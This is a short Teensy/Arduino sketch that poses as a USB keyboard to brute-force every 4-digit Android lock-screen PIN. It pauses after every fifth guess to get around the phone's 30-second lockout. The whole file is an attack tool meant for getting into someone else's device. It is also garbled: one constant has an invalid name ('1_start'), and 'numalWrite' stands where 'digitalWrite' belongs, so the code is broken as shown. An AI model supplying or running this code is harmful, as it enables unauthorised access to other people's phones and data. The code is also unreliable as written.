// Brute force 4 digit pins on Android using Teensy Kit 2.0 // magikh0e int finished = 0; const int ledPin = 11; const int 1_start = 0; const int num2_start = 0; const int num3_start = 0; const int num4_start = 0; const int num1_stop = 9; const int num2_stop = 9; const int num3_stop = 9; const int num4_stop = 9; void setup() { pinMode(ledPin, OUTPUT); delay(5000); } void loop() { if ( finished == 0 ) { for( int num1 = num1_start; num1 <= num1_stop; num1++ ) { for( int num2 = num2_start; num2 <= num2_stop; num2++ ) { for( int num3 = num3_start; num3 <= num3_stop; num3++ ) { for( int num4 = num4_start; num4 <= num4_stop; num4++ ) { if ( (num4 == 4) || (num4 == 9) ) // Wait for 30 seconds after 5 attempts - android lock { Keyboard.println(String(num1) + String(num2) + String(num3) + String(num4)); for ( int timer = 1; timer <= 6; timer++ ) // 6 * 5 seconds = 30 sec { numalWrite(ledPin, HIGH); // Wait 5 seconds and hit Enter delay(5000); Keyboard.println(); } delay(2000); numalWrite(ledPin, LOW); } else { Keyboard.print(String(num1) + String(num2) + String(num3) + String(num4)); delay(500); Keyboard.println(); } } } } } finished = 1; } else { numalWrite(ledPin, HIGH); delay(2500); numalWrite(ledPin, LOW); delay(2500); Keyboard.println(); } }